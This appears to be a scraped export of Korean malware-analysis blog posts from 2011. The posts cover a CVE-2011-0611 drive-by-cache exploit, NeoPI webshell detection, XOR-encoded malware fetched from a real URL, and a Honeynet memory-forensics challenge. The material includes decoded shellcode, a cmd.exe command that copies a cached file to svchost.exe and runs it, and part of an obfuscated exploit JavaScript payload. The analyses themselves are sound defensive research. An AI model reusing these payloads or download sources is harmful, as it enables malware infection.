writeInt(2442579079); writeInt(2592588484); writeInt(3301081485); writeInt(2459681472); writeInt(3347824834); writeInt(3348531087); writeInt(2462563985); writeInt(2491517581); writeInt(2442579079); writeInt(2592588493); writeInt(2613232836); writeInt(3263270790); writeInt(3431438983); writeInt(3268248002); writeInt(2442560400); writeInt(2529347478); writeInt(2274333383); writeInt(3197211777); writeInt(2324533654); writeInt(3431438983); writeInt(3234581474); writeInt(-85517027); writeInt(226594694); writeInt(3431438983); writeInt(3792313372); writeInt(220040594); writeInt(2274157153); writeInt(109478761); writeInt(225044166); writeInt(1093070433); writeInt(-84599550); writeInt(1121585814); writeInt(3898792459); writeInt(2531746522); writeInt(-107482269); writeInt(2598859378); writeInt(1114805994); writeInt(1226684265); writeInt(-26238233); writeInt(218237661); writeInt(3806519841); writeInt(1121585814); writeInt(3898792459); writeInt(2531746522); writeInt(-107482269); writeInt(2598859378); writeInt(1114805762); writeInt(2330650850); writeInt(3798967015); writeInt(218237685); writeInt(3806519841); writeInt(-84679966); writeInt(3797611491); writeInt(3865190638); writeInt(3792298170); writeInt(17439517); writeInt(220051748); writeInt(3847908285); writeInt(3817088421); writeInt(3877437985); writeInt(2976464561); writeInt(2292353762); writeInt(4074955445); writeInt(1235545610); writeInt(2585599261); writeInt(3122770868); writeInt(1234689641); writeInt(2529991393); writeInt(129264020); writeInt(3269531601); writeInt(195797839); writeInt(3777483065); writeInt(3982291672); writeInt(76999203); writeInt(166060344); writeInt(2718503897); writeInt(4254533052); writeInt(1237108449); writeInt(260336110); writeInt(2842279166); writeInt(3779029478); writeInt(1239492425); writeInt(3166380298); writeInt(1109335325); writeInt(3499521006); writeInt(1195199833); writeInt(2171286445); writeInt(4232480269); writeInt(3045388061); writeInt(1256780314); writeInt(3123304899); writeInt(3806520034); \u0026#39;\u0026#39;\u0026#39; data = re.findall(\u0026#39;\\d+\u0026#39;, s) ret = [] for x in data: tmp = \u0026#34;%X\u0026#34; % int(x) ret.append(tmp) print \u0026#39;\u0026#39;.join(ret) 위 코드로 완벽하게 변환은 되지 않지만 대충 어느정도 변환은 될것으로 보인다. 위 스크립트를 실행하면 아래와 같다.\n1 2 C:\\Users\\ByJJoon\\Desktop\u0026gt;run.py 9090909090909090c6457f0040909090eb105b4b3c966b98502803441d1d06eb05e8ebffffff0bb9e0e2e2bdd1228643d2e2e2e269a2ee49a2f669e269e2698af2691588e7bb0a4e3e2e242001a8ad1d0e2e28ab7918790b669e454a1c1ee2690a88e3bb0a35e3e2e200b8a8ed1d0e28a918a878eb649e40adbe3e2e2695771c455a41c1ee2001b696610eb6491e09fcbb0b14e2e2e2b80bfe2e2e2b988e288e2b3b0b188e21db4fa0b17e2e2e20a3fd1d1d818f86cc879a87c2cda1c2a4adb0c2cdb0c2c0c7b7b1a7b0b2b0ada4abaea7c7beae8d81838ec2b18796968b8c8591beb6878f928d9083909bc2ab8c9687908c8796c2a48b8e8791bec0c2c78bc2abacc2ca8c879591948b8c87c8cc8892d0cbc2a6adc2caca818f86cc879a87c2c0cd81c286878ec2cd91c2c796878f92c7be9194818a8d9196cc879a87c2c4c4c2818d929bc2c0c78bc0c2c796878f92c7be9194818a8d9196cc879a87c2cd9bc2c4c4c2818f86cc879a87c2cd81c29196839096c2c796878f92c7be9194818a8d9196cc879a87c0cbcbe2518e2e3d818f86cc879a87e20a1c1cd1d8d92878ce2616868369d69e6c64126ee6150ae2fe42da0a96e862da0b96e762da6680c9d9ae77272427296ea491db7691905d19d020adde2e2e22142da0a96e862da0b96e762da6680c9d9ae77272427296028aeae8e2e26fa2e7d020af5e2e2e22150c1d1ee25af3e3e66220eee209e0ba10a1b1dd1db924e55a6bbde38425a5e71d0221b1693eb188a28ae2f2e2e2b549a4ee0a9a1d1d1dba21b3b44997de6996cc9ae17b46994c2e117d1baba34fe127d139ed5cf2d8496ea239e5e138a20913d9fd9705bc49bcc6e1f8469eea969bcfee13f69e649e12749bcbb210a421f1d1dd09673ee473d4d59816b33adfc46860db584ef1d4ae8f21aba29d9c3e2e2e2e2 이제 나온 결과를 확인해보면 아래와 같은 문자열을 확인할 수 있다.\n1 cmd.exe /C FOR /R \u0026#34;%USERPROFILE%\\Local Settings\\Temporary Internet Files\\\u0026#34; %i IN (newsvine*.jp2) DO ((cmd.exe \u0026#34;/c del /s %temp%\\svchost.exe \u0026amp;\u0026amp; copy \u0026#34;%i\u0026#34; %temp%\\svchost.exe /y \u0026amp;\u0026amp; cmd.exe /c start %temp%\\svchost.exe\u0026#34;)) 이전에 삽입되었던 newsvine.jp2 파일을 %temp%svchost.exe 로 복사하여 실행하는 것이다. 여기서 newsvine*.jp2 와 같이 와일드카드를 이용하여 코드를 작성한 이유는 이전에 삽입되었던 파일이 인터넷 임시폴더에 저장될때 newsvine[1].jp2 등의 파일이름으로 저장되기 때문에 정확히 어떤 파일명인지 알수 없기 때문이다.\n즉, 최근 브라우져에서 URLDownloadToFile() 함수를 호출하는 경우 백신에서 탐지를 하게 되므로 이를 우회하기 위해 다음과 같은 기법을 이용하는 것으로 보인다.\n이러한 기법은 아주 흥미로운 내용인거 같다 :-)\n참고 : http://blog.armorize.com/2011/04/newest-adobe-flash-0-day-used-in-new.html\n","date":"2011-04-18T17:21:57Z","permalink":"/2011/04/18/cve-2011-0611-%EB%B6%84%EC%84%9D-drive-by-cache-infections/","title":"CVE-2011-0611 분석 :: Drive-By-Cache Infections"},{"content":"오늘 웹쉘 탐지와 관련하여 흥미로운 툴을 봐서 기록에 남깁니다. 웹쉘 탐지와 관련해서 국내에도 많은 솔루션이 나와 있는데 이 툴 또한 꽤나 퍼포먼스도 좋고 잘 탐지하는거 같습니다.\n무엇보다 obfuscated 된 파일에 대해서도 탐지를 할 수 있다는 점이 신선하네요. 탐지 방법은 엔트로피를 이용하여 통계적인 방법을 이용해 탐지하는 것으로 보입니다.\n다운로드 : https://github.com/Neohapsis/NeoPI\n간단하게 제 리눅스 서버에 몇가지 웹쉘을 올려놓고 돌려봤는데 잘 탐지를 하네요.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 [root@ByJJoon Neohapsis-NeoPI-1167c8e]# python2.7 neopi.py --h Usage: neopi.py [options] \u0026lt;start directory\u0026gt; \u0026lt;OPTIONAL: filename regex\u0026gt; Options: --version show program\u0026#39;s version number and exit -h, --help show this help message and exit -c FILECSV, --csv=FILECSV generate CSV outfile -a, --all Run all (useful) tests [Entropy, Longest Word, IC, Signature] -z, --zlib Run compression Test -e, --entropy Run entropy Test -l, --longestword Run longest word test -i, --ic Run IC test -s, --signature Run signature test -A, --auto Run auto file extension tests [root@ByJJoon Neohapsis-NeoPI-1167c8e]# python2.7 neopi.py -a -A /var/www/html/ [[ Average IC for Search ]] 0.0224645152241 [[ Top 10 lowest IC files ]] 0.0205 /var/www/html/We35he11/r57.txt 0.0251 /var/www/html/We35he11/bot1.txt 0.0292 /var/www/html/We35he11/c99.txt 0.0381 /var/www/html/We35he11/spread.txt 0.0386 /var/www/html/irc/client-perl.cgi 0.0412 /var/www/html/We35he11/cmd.txt 0.0425 /var/www/html/irc/docs/decode.pl 0.0484 /var/www/html/We35he11/ce.pl 0.0542 /var/www/html/shellcode2exe/index.php 0.0542 /var/www/html/shellcode2exe/shellcode_2_exe.php [[ Top 10 entropic files for a given search ]] 5.8192 /var/www/html/We35he11/bot1.txt 5.7631 /var/www/html/We35he11/r57.txt 5.7100 /var/www/html/We35he11/c99.txt 5.4953 /var/www/html/irc/client-perl.cgi 5.3739 /var/www/html/We35he11/ce.pl 5.3318 /var/www/html/We35he11/cmd.txt 5.2819 /var/www/html/irc/modules/parse.pl 5.2375 /var/www/html/irc/irc.cgi 5.2209 /var/www/html/irc/docs/decode.pl 5.2172 /var/www/html/irc/docs/viewconnects.pl [[ Top 10 longest word files ]] 134892 /var/www/html/We35he11/r57.txt 422 /var/www/html/We35he11/c99.txt 103 /var/www/html/We35he11/bot1.txt 89 /var/www/html/We35he11/cmd.txt 62 /var/www/html/irc/nph-irc.cgi 61 /var/www/html/shellcode2exe/shellcode_2_exe.php 61 /var/www/html/shellcode2exe/index.php 53 /var/www/html/XSS/xss.php 50 /var/www/html/index.php 49 /var/www/html/irc/irc.cgi [[ Top 10 signature match counts ]] 103 /var/www/html/We35he11/c99.txt 53 /var/www/html/shellcode2exe/shellcode_2_exe.php 53 /var/www/html/shellcode2exe/index.php 34 /var/www/html/We35he11/bot1.txt 10 /var/www/html/We35he11/cmd.txt 7 /var/www/html/We35he11/spread.txt 4 /var/www/html/We35he11/go.txt 3 /var/www/html/irc/nph-irc.cgi 3 /var/www/html/We35he11/ce.pl 2 /var/www/html/We35he11/r57.txt [[ Top cumulative ranked files ]] 9 /var/www/html/We35he11/c99.txt 10 /var/www/html/We35he11/bot1.txt 14 /var/www/html/We35he11/r57.txt 21 /var/www/html/We35he11/cmd.txt 29 /var/www/html/shellcode2exe/index.php 29 /var/www/html/shellcode2exe/shellcode_2_exe.php 34 /var/www/html/We35he11/ce.pl 36 /var/www/html/We35he11/spread.txt 37 /var/www/html/irc/client-perl.cgi 41 /var/www/html/irc/irc.cgi 좀 더 상세한 내용은 아래 페이지를 참고하시기 바랍니다. http://resources.infosecinstitute.com/web-shell-detection/\n","date":"2011-04-14T14:53:15Z","permalink":"/2011/04/14/webshell-%ED%83%90%EC%A7%80-neohapsis-neopi/","title":"Webshell 탐지 :: Neohapsis / NeoPI"},{"content":"최근에 새로운 루틴으로 암호화 하는 형태를 발견하여 분석 하였습니다.\n코드를 확인한 결과 기존에 작성했던 스크립트로는 복호화가 되지 않아 조금 수정하였습니다. (기존에 작업한 스크립트 : https://jjoon.net/page/?p=238)\n수정한 코드로 작업한 내용입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;wget http://wkmf.swim.org/bbs/images/top.gif --2011-04-07 00:06:33-- http://wkmf.swim.org/bbs/images/top.gif Resolving wkmf.swim.org (wkmf.swim.org)... 121.189.59.232 Connecting to wkmf.swim.org (wkmf.swim.org)|121.189.59.232|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 74556 (73K) [image/gif] Saving to: `top.gif\u0026#39; 100%[========================================================================================\u0026gt;] 74,556 --.-K/s in 0.001s 2011-04-07 00:06:33 (104 MB/s) - `top.gif\u0026#39; saved [74556/74556] D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;xor.py top.gif ByJJoon XOR Decoder! [+] Start [+] Find XOR key : 0xDC [+] Find ADD key : 0x24 [+] Create PE file : top.gif_xor [+] End D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;file top.gif top.gif: data D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;file top.gif_xor top.gif_xor: PE32 executable (GUI) Intel 80386, for MS Windows D:\\Python Programming\\Python Code\\Malware\\Script Analysis\u0026gt;md5sum top.gif_xor 3820a8b66897dc795ada1b8de195a732 *top.gif_xor 위 샘플 진단 결과 입니다. http://www.virustotal.com/file-scan/report.html?id=64267a2d3f1e836b2d6fee8020e8a104cfc7e8254930841836ef2c38451523b9-1302078258\n","date":"2011-04-06T10:08:37Z","permalink":"/2011/04/06/%EC%83%88%EB%A1%9C%EC%9A%B4-xor-%EC%95%94%ED%98%B8%ED%99%94-%EB%A3%A8%ED%8B%B4/","title":"새로운 XOR 암호화 루틴"},{"content":"이번 첼린지는 메모리 덤프에 대한 분석인데, 처음 해보는거라 풀이를 참고했다. 우선 Volatility 툴을 처음 알게되었고 사용법을 어느정도 익히게 된거 같아 나름 뿌듯하다. http://www.honeynet.org/challenges/2010_3_banking_troubles\nQ1. List the processes that were running on the victim’s machine. Which process was most likely responsible for the initial exploit? (2pts) 우선 프로세스 리스트는 Volatility (https://www.volatilesystems.com/default/volatility) 를 이용하여 확인할 수 있다. 그리고 배치파일 (http://volatility.googlecode.com/files/vol-Report%28win%29.zip) 을 이용하면 분석하기 편하다. 좀 더 자세한 내용은 http://ykei.egloos.com/5054373 페이지를 참고하기 바란다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 D:\\Security Tools\\Forensic\\Volatility-1.3_Beta\u0026gt;c:\\Python27\\python.exe volatility pslist -f Bob.vmem Name Pid PPid Thds Hnds Time System 4 0 58 573 Thu Jan 01 00:00:00 1970 smss.exe 548 4 3 21 Fri Feb 26 03:34:02 2010 csrss.exe 612 548 12 423 Fri Feb 26 03:34:04 2010 winlogon.exe 644 548 21 521 Fri Feb 26 03:34:04 2010 services.exe 688 644 16 293 Fri Feb 26 03:34:05 2010 lsass.exe 700 644 22 416 Fri Feb 26 03:34:06 2010 vmacthlp.exe 852 688 1 35 Fri Feb 26 03:34:06 2010 svchost.exe 880 688 28 340 Fri Feb 26 03:34:07 2010 svchost.exe 948 688 10 276 Fri Feb 26 03:34:07 2010 svchost.exe 1040 688 83 1515 Fri Feb 26 03:34:07 2010 svchost.exe 1100 688 6 96 Fri Feb 26 03:34:07 2010 svchost.exe 1244 688 19 239 Fri Feb 26 03:34:08 2010 spoolsv.exe 1460 688 11 129 Fri Feb 26 03:34:10 2010 vmtoolsd.exe 1628 688 5 220 Fri Feb 26 03:34:25 2010 VMUpgradeHelper 1836 688 4 108 Fri Feb 26 03:34:34 2010 alg.exe 2024 688 7 130 Fri Feb 26 03:34:35 2010 explorer.exe 1756 1660 14 345 Fri Feb 26 03:34:38 2010 VMwareTray.exe 1108 1756 1 59 Fri Feb 26 03:34:39 2010 VMwareUser.exe 1116 1756 4 179 Fri Feb 26 03:34:39 2010 wscntfy.exe 1132 1040 1 38 Fri Feb 26 03:34:40 2010 msiexec.exe 244 688 5 181 Fri Feb 26 03:46:06 2010 msiexec.exe 452 244 0 -1 Fri Feb 26 03:46:07 2010 wuauclt.exe 440 1040 8 188 Sat Feb 27 19:48:49 2010 wuauclt.exe 232 1040 4 136 Sat Feb 27 19:49:11 2010 firefox.exe 888 1756 9 172 Sat Feb 27 20:11:53 2010 AcroRd32.exe 1752 888 8 184 Sat Feb 27 20:12:23 2010 svchost.exe 1384 688 9 101 Sat Feb 27 20:12:36 2010 추가로 exploit이 실행된 프로세스는 PDF 파일을 연 후 문제가 발생했다고 하였으니 AcroRd32.exe 일 것으로 보인다. 그리고 AcroRd32.exe 프로세스의 PID는 1752 이며 PPID는 888로 firefox.exe 이다.\n따라서 Firefox 웹브라우져에서 PDF 파일을 연 후 문제가 발생한 것으로 볼 수 있다.\nQ2. List the sockets that were open on the victim’s machine during infection. Are there any suspicious processes that have sockets open? (4pts) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 D:\\Security Tools\\Forensic\\Volatility-1.3_Beta\u0026gt;c:\\Python27\\python.exe volatility connscan2 -f Bob.vmem Local Address Remote Address Pid ------------------------- ------------------------- ------ 192.168.0.176:1176 212.150.164.203:80 888 192.168.0.176:1189 192.168.0.1:9393 1244 192.168.0.176:2869 192.168.0.1:30379 1244 192.168.0.176:2869 192.168.0.1:30380 4 0.0.0.0:0 80.206.204.129:0 0 127.0.0.1:1168 127.0.0.1:1169 888 192.168.0.176:1172 66.249.91.104:80 888 127.0.0.1:1169 127.0.0.1:1168 888 192.168.0.176:1171 66.249.90.104:80 888 192.168.0.176:1178 212.150.164.203:80 1752 192.168.0.176:1184 193.104.22.71:80 880 192.168.0.176:1185 193.104.22.71:80 880 PID가 1752인것을 찾으면 212.150.164.203 이다. 그리고 PID가 888인 Firefox 브라우져에서 역시 212.150.164.203 으로 접근한 기록이 있다.\nQ3. List any suspicious URLs that may be in the suspected process’s memory. (2pts) 1 strings Bob.vmem | grep http \u0026gt; output.txt 위 명령어로 output.txt로 저장할 수 있다. 너무 많군 -_-\nQ4. Are there any other processes that contain URLs that may point to banking troubles? If so, what are these processes and what are the URLs? (4pts) 위 3번에서 저장한 리스트를 대상으로 아래 명령어로 검색을 하면 아래 결과가 나온다.\n1 2 3 4 5 6 7 8 D:\\Security Tools\\Forensic\\Volatility-1.3_Beta\u0026gt;cat output | grep bank Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome . . . [이하 생략] Q5. Were there any files that were able to be extracted from the initial process? How were these files extracted? (6pts) 우선 volatility 를 이용하여 PID가 1752인 프로세스 덤프를 저장하도록 한다.\n1 D:\\Security Tools\\Forensic\\Volatility-1.3_Beta\u0026gt;c:\\Python27\\python.exe volatility usrdmp_ex_2 -f Bob.vmem -p 1752 저장 후 Scapel을 이용하여 PDF 파일만 추출하도록 conf 파일에 설정 후 추출하면 총 9개의 파일을 추출할 수 있다.\nQ6. If there was a file extracted from the initial process, what techniques did it use to perform the exploit? (8pts) 우선 file 명령어를 이용하여 확인하면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 D:\\Security Tools\\Forensic\\scalpel-1.60\\pdf\\pdf-0-0\u0026gt;file * 00000000.pdf: data 00000001.pdf: data 00000002.pdf: PDF document, version . 00000003.pdf: PDF document, version %.. 00000004.pdf: PDF document, version 1.5 00000005.pdf: PDF document, version 1.5 00000006.pdf: PDF document, version 1.5 00000007.pdf: PDF document, version 1.4 00000008.pdf: PDF document, version 1.3 4, 5, 6, 7, 8 파일명의 파일만 정상적인 파일로 보이니 해당 파일에 대해 PDFiD (http://blog.didierstevens.com/2009/03/31/pdfid/) 를 이용하여 확인하면 6번 파일에서 javascript를 확인할 수 있다.\n6번 파일을 pdf-parser (http://blog.didierstevens.com/programs/pdf-tools/)를 이용하여 확인하면 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 D:\\Security Tools\\Forensic\\scalpel-1.60\\pdf\\pdf-0-0\u0026gt;pdfid.py 00000006.pdf PDFiD 0.0.10 00000006.pdf PDF Header: %PDF-1.5 obj 113 endobj 113 stream 35 endstream 35 xref 5 trailer 5 startxref 4 /Page 9 /Encrypt 1 /ObjStm 0 /JS 1 /JavaScript 1 /AA 1 /OpenAction 0 /AcroForm 0 /JBIG2Decode 0 /RichMedia 0 /Colors \u0026gt; 2^24 0 D:\\Security Tools\\Forensic\\scalpel-1.60\\pdf\\pdf-0-0\u0026gt;pdf-parser.py --search javascript 00000006.pdf obj 11 0 Type: Referencing: 1054 0 R [(1, \u0026#39;\\r\\n\u0026#39;), (2, \u0026#39;\u0026lt;\u0026lt;\u0026#39;), (2, \u0026#39;/S\u0026#39;), (2, \u0026#39;/JavaScript\u0026#39;), (2, \u0026#39;/JS\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;1054\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;0\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;R\u0026#39;), (2, \u0026#39;\u0026gt;\u0026gt;\u0026#39;), (1, \u0026#39;\\r\\n\u0026#39;)] \u0026lt;\u0026lt; /S /JavaScript /JS 1054 0 R \u0026gt;\u0026gt; D:\\Security Tools\\Forensic\\scalpel-1.60\\pdf\\pdf-0-0\u0026gt;pdf-parser.py -o 11 00000006.pdf obj 11 0 Type: Referencing: [(1, \u0026#39;\\r\u0026#39;), (3, \u0026#39;0\u0026#39;), (1, \u0026#39; \\r\u0026#39;)] obj 11 0 Type: Referencing: 1054 0 R [(1, \u0026#39;\\r\\n\u0026#39;), (2, \u0026#39;\u0026lt;\u0026lt;\u0026#39;), (2, \u0026#39;/S\u0026#39;), (2, \u0026#39;/JavaScript\u0026#39;), (2, \u0026#39;/JS\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;1054\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;0\u0026#39;), (1, \u0026#39; \u0026#39;), (3, \u0026#39;R\u0026#39;), (2, \u0026#39;\u0026gt;\u0026gt;\u0026#39;), (1, \u0026#39;\\r\\n\u0026#39;)] \u0026lt;\u0026lt; /S /JavaScript /JS 1054 0 R \u0026gt;\u0026gt; D:\\Security Tools\\Forensic\\scalpel-1.60\\pdf\\pdf-0-0\u0026gt;pdf-parser.py -o 1054 --raw --filter 00000006.pdf obj 1054 0 Type: Referencing: Contains stream \u0026lt;\u0026lt;/Length 0000/Filter [/F#6c#61#74e#44e#63#6fde/#41#53#43II#38#35#44#65#63#6fd#65]\u0026gt;\u0026gt; \u0026lt;\u0026lt; /Length 0000 /Filter [ /FlateDecode /ASCII85Decode] \u0026gt;\u0026gt; var xtdxJYVm=\u0026#39;0111100000101011000001110010111100100001001101110001111100011011001011110100111100100101001100000001000100100111000000100110100100000011000111100011111100101001001011000100001000000011000011010000001100111000001000110100100000101100000110000001000000101110001110010000001001011001000111000001100100100010000111110000001001011101000000000001111100110111001001010010011000100010011011110111111001001011001010010011001000101111001100100010110101100110001010110011101100110011001110010000000000001101011110000111100000010100001100100011100000000011000010110110100000010100011011000011011100101011000110100011101100000101001110010111000100000010000000100010100000000011001100110100010000111100001001000000011000001011001000010010000100100011000000000001011001001111011110110101011000100001001011100001010000100101001110000110100001110100010001010111100100110001010110000011001000111000001110110010011000000011001100000000001100011010010100010000000100100010000110000011011000011110010011110111101000111000000001100010110100010101011000010010111100100010000011000001110100101000010001000011110000001111001111000110110101001001000010100001101100100110010100100101100101001011001101000001010001110111001101110100011001111101000101100000110001110110010110010100111001000000001110010000010101111110000100100110010101011001000010010010001001011010011010010101111100101011000100100000001001010111000110000100100000101110000100000011110001001001000101000110110101100000001010100000010101010100001100010010110100101110001110010000110001100000010011100101110101110100001101100001111001001000010011100001011100010000000101010001001101000110011101100110100000001010000100000001100101011101001001110101001001001110001101000001010001101111001000000110001101110111000111010011001001011110010110110101100100010110001010100001011001010000001100010100011000010010000010010001001101110011000000100111010101011010001101010000011000011101011001000000101001110101000010110010011100010010011111110101110100111011001100010001001100110111000001110101100100010100000001000011100101011001000100110000110000011011001111110010010001111111010001010111111000100010000010010000000100100100001011110101000001011110001010110010010001001100011110100111101101000011000010000001001001100111011100000110000001110001000100100001100001000001011110000100110001011110000001100000011101011111010001000110000000001101001110100000110001010010000001110110000000101001001110100011111001010000011100100111101101010111000101010000001101111011010101000111110001000000001100110001111001010100011100000010100101000101000011100001001001001110010011110111110000100110001001010001111101100110010111100101100101000111001010000001100101100000010010110011110001100111000010010000010001001100010010100010111001101000001110010010111101010001010000010101101001011101000110010001011101111000010110000010100000010111001100100011110101100101010111010001010000010010001011100000001100100011001100000101011000101111001110100001101001111101010000000100001101011011001101110001110100110100011110110101111101111011000111010010011101111110010010000111101101110111000111100001001000001011000100010010000001111100001101000001100101110010011111000111001000000010000110110010110001011000011111100001010000101100001101000010111100010100001011110010001000000011001101000010011001011000000100110101010001110100001010100000111101000001011111000000001001010100001110100001010001000111000101100010111101010100001100000001100101010010011001100111100100100000001100000011000101010001010110010110010101110101001101100011010001100001011111100011011101011100001001000011111001011101001100000101110000101000000011000011000001111001000000000111000101010010000110010010011001111111000110010100011001000001001010010000111100110101011111010101011101110010000100000011101001100010011000000100101100111010000010000001110101010011010101110110111000111011000101010001010001101100001101110010101101100010000110010011101101010001010101010101111000010111000111010011011001111001000100100001100101111100000011000010000101000110011100000100001000101011001111010010111101010110011000000100001101111001000011110001111001110001010101110011100001011101001100100001110101001000000000100011100100000101000111100011000100101101010000010110011000110010000100100010010000000111001011010010101001100001000101100010011000001111000001000010110100101110000110010001100000110100010001100110011001010011000011000010011100000011011011100110101100010101001100110011110000000011000001100001111101010101001100000011011100100101011101100100110100100000001011110000011001110111000000110100011101101111000011000000001001100111010111010111110001111000000100100001101101111001011011100010011100010100000010000001011001011011011000010110000001110010000110000011101100110110011100010001011100101111000100010010110001110010000110000111010100111011001011000010001001000001010010110000001101011110000011100011011001100110011101010100110101001010001010010001101101000100001000010111010000101000001110110000010101001110011001110110001100110010000100110010110101001111010001100111001101111011001010110000011101100001000110110100001101111001000011100010000001001101011101100100000000101101001100100010110001010010001010000011011001101111001100100010001001000011001010100101000000001101001110110010010000111100000111110001011000000110000011010011000001011000011100100100010001110000001001000000000101110010011100100110111101000110001001010011001100010011011111100100010101000110001101100000011101100001011110110100110001110001001100110011111101001111000010100101100001000111001001010001010001111110010100000100011001001100001101010010110000010010010000000100111001100011001111010001001101111100010001110101011000001101001011000011011101101001011101000011011001010011000110100000000001101101011001110111111001111111001001000000011001001010011110100010010101101101000101000001010001111110000000110101111000010001001010110000000100101001000101000111101001010101000101010001100101010100010011100101000101110110001111010000000001000011011111000110011100010100000101100001101001100111011001100011111000000010001101000001000100110101010100110100010001001100001101000011110100001110001011000100101101001100001010000001101101111111001011110101001000101000000110010001001101011000010110100011001100110010000100010001100001001111011101010111011101110011001100000011001100010100001001110011000001010101000100110011110100100111010001010010001000010111000010100010011100111100000000000101100101100000000001100000001101110001011110010101001001100000001010000000110001100011011111000101001101011011000100110001011001000110010010010100011101110000000110100011010001100010001011110110101100110100000110010010111101111101011010100111111000101100001100100001100101100000010110010100010001000011000011000011111101011000010100010111010001000100001001000011001001110100000001010111100001110111000110100001100001011100010011110111100100010011001001100011011101011001010000000101101001100000000101000001010001101101011101110110011100000001000100110010001101110011001101110101110100110001000101000011000101100111000010000101000001110010000110000001010001011101011101110111101101010100000010100000011001110101010110110110000100000111001100010001101101101111001000110101101100110010000011100010001001100010000011010110000000010110000010100011000001010011010001000110001100110111001111110011001001110110000010110100011101111000000010000001101101000010011011010101111001100101001101010001110001001010001011000101011001011011000001100010111101010100000001110100011101001000000110010011011101111000010110000110010101100110000101010001001001000110011110100110000001111110000010010010010001000000011011000110000100000011000111100010000001110110010001000111100100111111000100110000111101011101011001100111101001110110000001010011001101101100010110110111100100101111000111100000000001100000010001110101100001100111001010000000111101100000011000010110000101101101001100000001100101100001000100100110011001100110001100000010001101001101010111110111111000110101000110110000010101000101010111000111001101011111001010100001100001000010010100010101111001110100000110100011001001000000010110100110000000110110000100000001110101101110011000110101110001011001001100110011000101011000010001000111011000101011001110000011100001000000010110010111011101100000010100100111101001011000011000010101001001000001011001000100010101001100011011000111100101000101011011110100101001110010010011100101100001011110011010010110100001100101011000010100101001010101011001110110010001010000010101100110011101000010010100110110000001000100011100100110010001100011011001110101111101101001000111010011001100110000011100110001111000111001000110110011101000001111010010100100101101110100010111100111000001101000011101000111001001111111011100110100101100000010001000100011110101101100000111110001001100010001000100010000111101001100001110010000110001111001001000110011011000011101010100110000011100011111001111110001000000010101011001110111110001110011011011000111110001001001011101010110011001011010001001000001011000001010010100100000110100000001000001110000101000101111010101110000110100111001001010100011101100101010010000100001101000011100000000100001000000111001001001010100001001011100011011100001000000010000000101010110101000001010000010110001100000111000000000110101100100101111001111100011011100010001000001100111100001100111001111000000000000110100001101010000100001000110011100110000000001100110011011000111100001111101001100010001001100000101010101100000000100110011001010100000010100100101010011000010000000010110000110000110001001110010001010100000010001001111010111010111100001111010001110100011100001101011011001010101001001110110011101000110101101111100000111100001100100000011000110010011111101001111001110000000101100010001001110000010010001101110001101100010111000111110001000110011110001100000000100010001111100011101000001110011001001000111011111000000001000110110001001010101010100011000000000100001110000110000000101010110101001100101000001100011000100011111000101010000011101110111011100010101011101001111010000000101011101101001010111010110010101000011001010110010010000111011001001110010111101111100000000000011111000111101010111100001101100100010001111000101010100000011000001110000010000100011001111110110010001010101011010110011010100000000000010010000010000110010010101110001101000001111000100000000011000100000010101000010110100010110001001110010110000001111011110010100000101100001000101000011111100000010001011010001101100101100000010010010001000010111001000010001100000001001001011000100101100110000000000100011011100101110001110100110111000110010000110110000001000100100001000010111110100011110011011000000001000000110000000100110111000100001000110010010100100000101000001010110100000100101001010010011110101011000010000000010101100110100010111010011011101000100001000010001000100110111010111100010010001010110000010100110011101000000010100000000011000001100000110110010101000100010010001100001011000000000001011100000001100001000011000100011111100000011000101000000001000101101000010100101101001110010011110100101011001010001010101010101111100101011001111110011111000100001000001110101001101101011000001000000011100100000001111110011111101010011001000100011111100101101001101110100110000101111000001110001010000011001000011100010110000011010000001000000000000110011000011110111011100010001001101100010111000111001001000100010111101001011000001000011110100011000000110000000011000000100001100100001110100000010000011100011110000100100000110010001110000000001000000100100010000101111000100000011101000000101001110000101000101010010011010110101010100100100001001010001010101010010000101100010011000001010000000100000101100100111010100010101010100110011011100000000000000011000000000000010000000110111000000000001100100101111011101010001011100010101001111010110101001011100000000100001111100001010001001000111010100110001001100100010101101100101000011110001000100111101011101100000110000111001001010000010100000101011011011110111111001111001000100010001101000000100000000010001110100011100001000110001111101010011000101100001011000011000011000010011101000100011000000010101101100100010000111010010000101101111001011100011110000000110001110000010101000111111010110100011100000001100000011000111100000001000001111110001100100000001000001000011110001110000010110010100101100100010000001010000000001000110001010010010100000110001001011000110110001000111001000110000010000011000011110010010110001010011001011010011111100101000011001010011011100000101001010010100001100101001001101000011010100010101000000100001100000001111001110000011111001110000011111100110000000001010000010110010110001001000010101110110101101010000000110110001111100100100001101110001001100000100011001110000101100111111001001100110000100101101011001010000000100100000000001010101000001001010000010110110011001100011011010110111011101000011010010000111010001010010011111010011111100111000001001100111111100111100001010000011001101111001010100000010110000100001000110100111111101010110011101100001101100100010010000000000011001000001010110000000100100011001010000110111101001010101010001100011001000000000010001000000110